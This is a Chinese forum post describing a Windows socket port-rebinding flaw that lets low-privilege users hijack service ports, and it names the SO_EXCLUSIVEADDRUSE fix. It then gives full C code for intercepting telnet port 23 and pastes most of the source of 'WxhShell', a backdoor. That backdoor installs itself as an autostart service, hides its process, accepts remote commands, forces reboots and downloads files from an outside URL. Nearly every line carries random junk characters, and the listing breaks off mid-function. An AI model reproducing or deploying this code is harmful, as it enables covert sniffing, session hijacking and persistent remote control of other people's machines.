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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g8l6bh$}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KGcjZx04!  
kiyc^s  
  saddr.sin_family = AF_INET; +wJ!zab`  
awwSgy  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); k|\M(Z*(P  
&^#u=w?^x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RgA"`p7{  
8Y.9%@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $XTtDUP@  
jz! [#-G  
  这意味着什么?意味着可以进行如下的攻击: g&85L$   
KN[;z2i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !yxqOT-  
ZZ!">AN`^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) aZCq{7Xs  
W7 dSx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BV`\6SM~  
=#,`k<v%I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yk)]aqic  
6o7t eX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e).;;0  
[!yA#{xl,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]/H6%"CTa  
/KX+'@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ($kw*H{Ah^  
\0d'y#Gp*  
  #include tV`=o$`  
  #include W.?/p~  
  #include "I)zi]vk  
  #include    ,!b<SQ5M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L/r_MtN  
  int main() &=BzsBh  
  { WA"~6U*  
  WORD wVersionRequested; TKv!wKI  
  DWORD ret; a!E22k?((z  
  WSADATA wsaData; N{S) b  
  BOOL val; GPK\nz}  
  SOCKADDR_IN saddr; 1*Pxndt&  
  SOCKADDR_IN scaddr; / De~K+w7o  
  int err; .= ?*Wp  
  SOCKET s; cO*g4VL"[  
  SOCKET sc; `H6~<9r  
  int caddsize; 3>-h- cpMX  
  HANDLE mt; sHc-xnd  
  DWORD tid;   (X,i,qK/  
  wVersionRequested = MAKEWORD( 2, 2 ); xBA"w:<  
  err = WSAStartup( wVersionRequested, &wsaData ); )\=xPfs  
  if ( err != 0 ) { w+R7NFq  
  printf("error!WSAStartup failed!\n"); >e>3:~&2  
  return -1; 6<<"9mxK  
  } (pd$?vRy  
  saddr.sin_family = AF_INET; a @2fJ}  
   [i /!ovcY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H{vKk  
NBY|U{.g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X<}}DZSu a  
  saddr.sin_port = htons(23); uW(-?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^ls@Gr7`P  
  { v62_VT2v  
  printf("error!socket failed!\n"); 9+^)?JUYll  
  return -1; +h4W<YnW  
  } &Y=0 0  
  val = TRUE; GQn:lu3j:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WC`h+SC`.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3W%6n-*u  
  { \X:e9~  
  printf("error!setsockopt failed!\n"); ,UMr_ e{|  
  return -1; B/1j4/MS  
  } ]=q auf>3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^w\22 Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 );7 d_#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .Q,"gsY  
@@Ybg6.+*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *9EwZwE_K  
  { 0%rDDB  
  ret=GetLastError(); Nrr}) g  
  printf("error!bind failed!\n"); KFd +7C9  
  return -1; /GIGE##1F  
  } _xaum  
  listen(s,2); 9{jMO  
  while(1) T>& q8'lD  
  { 2{rWAPHgz  
  caddsize = sizeof(scaddr); 5-|!mSd   
  //接受连接请求 K {' atc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); })/P[^  
  if(sc!=INVALID_SOCKET) 4d@yAr}  
  { 5qtk#FB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  j%Au0k  
  if(mt==NULL) .[O{,r  
  { lPR=C0h}@  
  printf("Thread Creat Failed!\n"); szsVk#p  
  break; a|7C6#iz$  
  } /:4J  
  } )/$J$'mcxd  
  CloseHandle(mt); NZvgkci_(u  
  } &)1.z7T  
  closesocket(s); MeEa|.  
  WSACleanup();  TUcFx_  
  return 0; ^Spu/55_  
  }   F?Lt-a+  
  DWORD WINAPI ClientThread(LPVOID lpParam) c| ^I}  
  { SsZC g#i  
  SOCKET ss = (SOCKET)lpParam; ?Ij(B}D  
  SOCKET sc; *(OG+OkC  
  unsigned char buf[4096]; dw"Es;^  
  SOCKADDR_IN saddr; @Z~YFnEJi  
  long num; `q*[fd1u.  
  DWORD val; =OH X5:Z  
  DWORD ret; kXwAw]ogN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c4tw)O-X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9Y:I)^ek  
  saddr.sin_family = AF_INET; 5^g*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Qt!w(  
  saddr.sin_port = htons(23); E)_n?>Ar  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b w P=f.  
  { ,>a!CnK=  
  printf("error!socket failed!\n"); j&d5tgLB  
  return -1; ,_e [P  
  } M}\h?s   
  val = 100; P8z%*/ 3NF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MbRTOH  
  { 8_('[89m  
  ret = GetLastError(); u9hd%}9Qd?  
  return -1; Ou_H&R  
  } _re# b?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4Hj)Av <O(  
  { ( eTrqI`  
  ret = GetLastError(); zC2:c"E I  
  return -1; BPO5=]W 7  
  } %F 2h C x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }(nT(9|  
  { h3?>jE=H  
  printf("error!socket connect failed!\n"); fN&\8SPE  
  closesocket(sc); u<edO+  
  closesocket(ss); WO qDW~  
  return -1; a2Ak?W1  
  } g< j)  
  while(1) .4+R ac  
  { JsJP%'^/R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <w2h@ea  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }=-0 DSLVj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YRu@; `  
  num = recv(ss,buf,4096,0); kB 8^v7o  
  if(num>0) +fKOX#%  
  send(sc,buf,num,0); a^R?w|zCX  
  else if(num==0) X4V>qHV72  
  break; 5#DMizv6  
  num = recv(sc,buf,4096,0); bJ^h{]  
  if(num>0)  q+L'h8  
  send(ss,buf,num,0); k1wIb']m]z  
  else if(num==0) 2l<2srEK  
  break; PQ&*(G  
  } O4R\] B#Xu  
  closesocket(ss); hq=;ZI  
  closesocket(sc); |7|S>h^  
  return 0 ; 6'#5Dqw"r  
  } TjUwe@&Rw  
G}nJ3  
lFzVd N  
========================================================== 7f>=-sv  
B>53+GyMV  
下边附上一个代码,,WXhSHELL t(z]4y  
2&1mI>:F  
========================================================== =D`8,n [  
Scrj%h%[  
#include "stdafx.h" ~lj[> |\Oj  
E 2n z  
#include <stdio.h> Q~,Mzt"}W  
#include <string.h> P<PZ4hNx  
#include <windows.h> igxO:]?  
#include <winsock2.h> p'R<yB)V  
#include <winsvc.h> (4YLUN&1O$  
#include <urlmon.h> |+nmOi,z  
N"70P/  
#pragma comment (lib, "Ws2_32.lib") nTy]sPn  
#pragma comment (lib, "urlmon.lib") 42dv3bE"  
l\UjvG  
#define MAX_USER   100 // 最大客户端连接数 mwAN9<o  
#define BUF_SOCK   200 // sock buffer }S> 4.8  
#define KEY_BUFF   255 // 输入 buffer [HILK `@@  
FIq'W:q:  
#define REBOOT     0   // 重启 | b'Ut)E  
#define SHUTDOWN   1   // 关机 E %mEfj7  
J2z/XHS  
#define DEF_PORT   5000 // 监听端口 %qc_kQ5%  
$[|(&8+7  
#define REG_LEN     16   // 注册表键长度 ]m+%y+  
#define SVC_LEN     80   // NT服务名长度 |v!N1+v0  
QOWGQl%!  
// 从dll定义API pD<w@2K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $.`o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Pq /5Dy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (0 T!- hsP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \L Q+ n+  
8 .%0JJ.3  
// wxhshell配置信息 `!]|lI!GW  
struct WSCFG { sYKx 3[V/  
  int ws_port;         // 监听端口 AQ,lLn+  
  char ws_passstr[REG_LEN]; // 口令 ;(i6 X)  
  int ws_autoins;       // 安装标记, 1=yes 0=no _T\~%  
  char ws_regname[REG_LEN]; // 注册表键名 (nqry[g&  
  char ws_svcname[REG_LEN]; // 服务名 I6.rN\%b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UoT`/.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }A3/(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =D1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _p )NZ7yC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v=llg ^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @v)Z>xv  
x UdF.c  
};  YSD G!  
s$M(-"mg  
// default Wxhshell configuration '09|Y#F  
struct WSCFG wscfg={DEF_PORT, iWCYK7c@.-  
    "xuhuanlingzhe", xC)bW,%  
    1, 6GxLaI  
    "Wxhshell", ` Ig5*X4|  
    "Wxhshell", FV^jCseZ  
            "WxhShell Service", F^%w%E\  
    "Wrsky Windows CmdShell Service", _b&|0j:Ud  
    "Please Input Your Password: ", m+c-"arIpA  
  1, uxfh?gsL  
  "http://www.wrsky.com/wxhshell.exe", )iN;1>  
  "Wxhshell.exe" f}-'67*Y  
    }; <i~xJi%1#  
9X*N k~}Y  
// 消息定义模块 hr vTFJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &=@{`2&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; im>(^{{r&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qb"S   
char *msg_ws_ext="\n\rExit."; gFaZ ._  
char *msg_ws_end="\n\rQuit."; D$ds[if$U,  
char *msg_ws_boot="\n\rReboot..."; Hv;xaT<}V  
char *msg_ws_poff="\n\rShutdown..."; u BEw YQB  
char *msg_ws_down="\n\rSave to "; qDdO-fPev  
!ku}vTe  
char *msg_ws_err="\n\rErr!"; 5Kzt8Tv[  
char *msg_ws_ok="\n\rOK!"; VX)8 pV$  
/v!yI$xc  
char ExeFile[MAX_PATH]; *)K 5<}V  
int nUser = 0; Sz0PZtJ  
HANDLE handles[MAX_USER]; b <W\#3~G  
int OsIsNt; JQQyl:=  
kvbZx{s  
SERVICE_STATUS       serviceStatus; !JCs'?A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7By7F:[b  
^Om}9rXw1  
// 函数声明 L( 6b2{"  
int Install(void); yT^2;/Z  
int Uninstall(void); )qxt<  
int DownloadFile(char *sURL, SOCKET wsh); _U~R   
int Boot(int flag); (5$Ge$  
void HideProc(void); Z ]A |"6<  
int GetOsVer(void); XM]m%I  
int Wxhshell(SOCKET wsl); Clf$EX;~  
void TalkWithClient(void *cs); b**vUt\  
int CmdShell(SOCKET sock); =R5W KX  
int StartFromService(void); KsULQJ#,  
int StartWxhshell(LPSTR lpCmdLine); C*Q7@+&  
JH?ohA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cv#aBH'N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T~UDD3  
s$fM,l:!  
// 数据结构和表定义 1Yb&E7j  
SERVICE_TABLE_ENTRY DispatchTable[] = J*B-*6O44  
{ k3Yu"GY^  
{wscfg.ws_svcname, NTServiceMain}, 8qe[x\,"8  
{NULL, NULL} ?m)<kY  
}; 1< !P:@(  
!U`4  
// 自我安装 Jn hdZa  
int Install(void) {~apY,3  
{ >iT mILA  
  char svExeFile[MAX_PATH]; Fs]N9],=I  
  HKEY key; 6))":<J  
  strcpy(svExeFile,ExeFile); v`4w=!4  
9^*RK6  
// 如果是win9x系统,修改注册表设为自启动 I0 t#{i  
if(!OsIsNt) { HI5NWdfRl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !S?Fz]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $yOB-  
  RegCloseKey(key); t 24`*'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +^7cS6"L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !oz{XWE  
  RegCloseKey(key); p3P8@M  
  return 0; P& 1$SWNyW  
    } w:zo \  
  } Cmx<>7fN  
} nlv,j&  
else { 2Bt/co-~4  
yi8vD~aA[  
// 如果是NT以上系统,安装为系统服务 tw4,gW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _9BL7W $;  
if (schSCManager!=0) czRBuo+k+  
{ 9R=avfI  
  SC_HANDLE schService = CreateService ZA=J`- >k  
  ( Luao?;|U  
  schSCManager, :hICe+2ca  
  wscfg.ws_svcname, "kApGNB  
  wscfg.ws_svcdisp, 8u*<GbKGI  
  SERVICE_ALL_ACCESS, "ku[b\W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H&s`Xr  
  SERVICE_AUTO_START, MZ3 8=nJ  
  SERVICE_ERROR_NORMAL, Le#srr  
  svExeFile, +?\JQ|  
  NULL, a8xvK;`  
  NULL, qT?{}I  
  NULL, W*LC3B^  
  NULL, x(c+~4:_M  
  NULL SGKAx<U  
  ); &YIL As^8A  
  if (schService!=0)  %lj5Olj  
  { s_ZPo6p  
  CloseServiceHandle(schService); &[yC M!  
  CloseServiceHandle(schSCManager); wH"9N+82M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IJf%OA>v  
  strcat(svExeFile,wscfg.ws_svcname); &r[f ;|o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \]>821r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); APl]EV" l  
  RegCloseKey(key); QN8+Uj/zx  
  return 0; vU%o5y:  
    } bqn(5)%{  
  } +"84.PZ  
  CloseServiceHandle(schSCManager); 45biy(qa  
} 2*snMA  
} mc]+j,d  
H:~bWd'iz  
return 1; +c8`N'~  
} |k~AGc  
 ]j0+4w  
// 自我卸载 :s_o'8z7L  
int Uninstall(void) w,P@@Q E  
{ ~2* LWH*@  
  HKEY key; r (m3"Xu6O  
-gGw_w?)(  
if(!OsIsNt) { M2%@bETJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jNxTy UU  
  RegDeleteValue(key,wscfg.ws_regname); X&[Zk5DU*  
  RegCloseKey(key); KaEaJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 23CvfP  
  RegDeleteValue(key,wscfg.ws_regname); !W XV1S  
  RegCloseKey(key); ,OlS>>,  
  return 0; +VVn@=&?  
  } ">T\]V$R  
} K2*rqg  
} IWYQ67Yj   
else { fDYTupKXH  
]D nAW'm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O#.YTTj  
if (schSCManager!=0) gI7*zR4D  
{ o;c"-^>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (pH)QG  
  if (schService!=0) ,LZA\XC  
  { v RD/67  
  if(DeleteService(schService)!=0) { 38sLyoG=i  
  CloseServiceHandle(schService); '7oR|I  
  CloseServiceHandle(schSCManager); l4DBGZB  
  return 0; q=^;lWs4  
  } glC,E>  
  CloseServiceHandle(schService); (?A c`H  
  } .]E"w9~  
  CloseServiceHandle(schSCManager); iq3)}hGo  
} IS" [<  
} XR]bd  
;):;H?WS|A  
return 1; `Ku:%~$/  
} NtGJpT4YX  
#i~P])%gNP  
// 从指定url下载文件 >}wFePl  
int DownloadFile(char *sURL, SOCKET wsh) _'!qOt7D  
{ .+(ED  
  HRESULT hr; h,y_ ^cf  
char seps[]= "/"; OM.-apzC  
char *token; b B#QIXY/L  
char *file; G#Bm">+  
char myURL[MAX_PATH]; :Y Ls]JI<  
char myFILE[MAX_PATH]; , $!F,c  
M2V`|19Q  
strcpy(myURL,sURL); <f (z\pi1  
  token=strtok(myURL,seps); 2aTq?ZR|8A  
  while(token!=NULL) NEIF1( :  
  { @=G [mc\  
    file=token; (<B%Gy@  
  token=strtok(NULL,seps); )z&C&Gqz  
  } WS6Qp`c )e  
0]f/5jvLj  
GetCurrentDirectory(MAX_PATH,myFILE); 8'E7Uj  
strcat(myFILE, "\\"); sI6*.nR  
strcat(myFILE, file); PP! /WX  
  send(wsh,myFILE,strlen(myFILE),0); tJ\v>s-f  
send(wsh,"...",3,0); N5W!(h)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gb!0%*   
  if(hr==S_OK) 2v(Y'f.  
return 0; l`#rhuy`  
else 5222"yn"c  
return 1; ("(wap~<nD  
'=G6$O2  
} L_ T+KaQCH  
|;:Kn*0/]  
// 系统电源模块 s5v}S'uO{  
int Boot(int flag) "%Ief4  
{ w15a~\Qu  
  HANDLE hToken; J:)ml  
  TOKEN_PRIVILEGES tkp; i<$?rB!i<1  
3w>1R>7  
  if(OsIsNt) { C/ VHzV%q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gcI<bY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {oAD;m`  
    tkp.PrivilegeCount = 1; % dtn*NU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qOmL\'8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h:7\S\|8  
if(flag==REBOOT) { ;>/Mal  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gv]94$'J9  
  return 0; <k3KCt  
} >;"%Db  
else { ;TC]<N.YJT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [ Y{  
  return 0; SnX)&>B  
} hKh ad8  
  } ajG_t  
  else { Za?BpV~  
if(flag==REBOOT) { ]):>9q$C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UdcV<#  
  return 0; P}=n^*8(I  
} <}.!G>X  
else { 45BpZ~-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +_ 8BJ  
  return 0; 3xRn  
} ci+a jON  
} >`[+24e  
&*8.%qe;  
return 1; $mf O:%  
} g0QYBrp  
H>D?  
// win9x进程隐藏模块 FQ 0 ;%Z  
void HideProc(void) d~6UJ=]@8  
{ N/#x  
"5ISKuL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  `wIWK7i  
  if ( hKernel != NULL ) C2b<is=H:  
  { a".iVf6y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X%og}Cfi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sEKF  
    FreeLibrary(hKernel); :_F 8O  
  } t@ri`?0w  
F_ -Xx"  
return; ,dosF Q  
} xY.?OHgG/  
*>:<  
// 获取操作系统版本 yK"HHdYTV  
int GetOsVer(void) "9X!Ewm"P  
{ 0dsL%G~/N  
  OSVERSIONINFO winfo; RH7!3ye  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zFDtC-GF  
  GetVersionEx(&winfo); RZVZ#q(DU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B@z ng2[  
  return 1; a*&&6Fo  
  else tCRsaDK>  
  return 0; A"qDc  
} Z<=L  
ugj I$u  
// 客户端句柄模块 2[1t )EW  
int Wxhshell(SOCKET wsl) F.@|-wq&  
{ p1.3)=T  
  SOCKET wsh; X$~T*l0  
  struct sockaddr_in client; p<mBC2!%  
  DWORD myID; CRiqY_gBf  
e\-,e+  
  while(nUser<MAX_USER) AuM}L&`i^  
{ C%ZPWOc_8  
  int nSize=sizeof(client); CQmozh-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^U*1_|Jh  
  if(wsh==INVALID_SOCKET) return 1; (7&b)"y  
xh#pw2v7V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); egr"og{  
if(handles[nUser]==0) ?|_i"*]l  
  closesocket(wsh); oLq N  
else '6g-]rE[  
  nUser++; M$!-B,1BX  
  } j B1ZF#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Yi[MoYe/K  
rf`xY4I\  
  return 0; RFSwX*!  
} OwNo$b]h`  
@.)[U:N  
// 关闭 socket xzFQ)t&  
void CloseIt(SOCKET wsh) Vo.~1^  
{ fo~*Bp()-E  
closesocket(wsh); WCk. K  
nUser--; C1l'<  
ExitThread(0); ^qVBgBPb  
} /C <p^#g9.  
&U`ug"/k  
// 客户端请求句柄 WWOt>C~zV  
void TalkWithClient(void *cs) r=7!S8'  
{ `}L{gssv  
[#G*GAa6*  
  SOCKET wsh=(SOCKET)cs; ^wwS`vPb  
  char pwd[SVC_LEN]; @Jqo'\~&  
  char cmd[KEY_BUFF]; M0?%r`  
char chr[1]; d.Ccc/1-  
int i,j; Wi,)a{  
G^.tAO5:f  
  while (nUser < MAX_USER) { s +qodb+  
0r i  
if(wscfg.ws_passstr) { 8<ev5af  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SXE@\Afj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (c"!&&S^ =  
  //ZeroMemory(pwd,KEY_BUFF); R >&8%%#  
      i=0; \L}7.fkb8  
  while(i<SVC_LEN) { 9KJ}A i  
0ZLLbEfnPB  
  // 设置超时 jY=M{?h''  
  fd_set FdRead; >vYb'%02  
  struct timeval TimeOut; C(z 'oi:f  
  FD_ZERO(&FdRead); Bc-/s(/Eq  
  FD_SET(wsh,&FdRead); b5KK0Jjk  
  TimeOut.tv_sec=8; @[f$MRp\  
  TimeOut.tv_usec=0; Lp4F1H2t-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,Jn` qvmi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p=kt+H&;  
{9Ok^O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k{hNv|:,  
  pwd=chr[0]; wuk\__f4  
  if(chr[0]==0xd || chr[0]==0xa) { cW"DDm g  
  pwd=0; <$a-.C5  
  break; N>Uxq& )!  
  } P3Vh|<'7  
  i++; .!i`YT*jF  
    } {^:NII]  
EQw7(r|v:  
  // 如果是非法用户,关闭 socket u86@zlzd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 28c6~*Te #  
} e{XzUY6  
Rh$+9w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3)2{c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wf\7sz  
p&)d]oV>  
while(1) { kd]CV7(7  
EgbH{)u  
  ZeroMemory(cmd,KEY_BUFF); 7fSNF7/+  
0L,!o[L*  
      // 自动支持客户端 telnet标准   XJy.xI>;  
  j=0; 0_Elxc  
  while(j<KEY_BUFF) { ukc 7Z OQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tow!5VAM  
  cmd[j]=chr[0]; gSj0+|  
  if(chr[0]==0xa || chr[0]==0xd) { B%k C>J  
  cmd[j]=0; 0*oavY*  
  break; 02NVdpo[wU  
  }  ylS6D  
  j++; guf*>qNr  
    } )^"V}z t  
Dfc% jWbA  
  // 下载文件 2+C:Em0yI  
  if(strstr(cmd,"http://")) { ;4GGXT++L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0M&~;`W}  
  if(DownloadFile(cmd,wsh)) 19pFNg'kA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .5s^a.e'O  
  else D`'Cnt/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qK2jJ3)>  
  } Hi/[  
  else { G]EI!-y  
0S'@(p[A  
    switch(cmd[0]) { ~Cg7  
  L$+_  
  // 帮助 ;O{bF8 U  
  case '?': { h+Yd \k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :xbj& l  
    break; =YfzB!ld  
  } j(K)CHH  
  // 安装 (\r^ 0>H  
  case 'i': { /0fHkj/J=B  
    if(Install()) 9vwm RVN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [F;\NJp6?^  
    else mE>{K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tr|PR t  
    break; euRKYGW  
    } GRVF/hPn  
  // 卸载 BSB&zp  
  case 'r': { P{:Zxli0  
    if(Uninstall()) w:iMrQeJg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r ?<kWR?w  
    else Gr)G-zE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \&ZEIAe  
    break; j8PeO&n>  
    } !>=lah$&  
  // 显示 wxhshell 所在路径 U /~uu  
  case 'p': { SD:`l<l  
    char svExeFile[MAX_PATH]; ^q0`eS  
    strcpy(svExeFile,"\n\r"); F7nwV Dc*  
      strcat(svExeFile,ExeFile); ocMTTVo  
        send(wsh,svExeFile,strlen(svExeFile),0); KK4e'[Wf  
    break; (!J;g|58  
    } ^8]7  
  // 重启 YjJ^SU`*  
  case 'b': { Q-#<{' (  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #h U4gX,  
    if(Boot(REBOOT)) \.p; 4V&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E?bv<L,"  
    else { +Wy`X5v  
    closesocket(wsh); |:4?K*w",  
    ExitThread(0); ],~[^0  
    } -1NR]#P'  
    break; $ <C",&  
    } iQT0%WaHl  
  // 关机 }~ N\A  
  case 'd': { Ea'jAIFPpO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \/gf_R_GN  
    if(Boot(SHUTDOWN)) bb\XZ~)F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v&7<f$5  
    else { 84reyA  
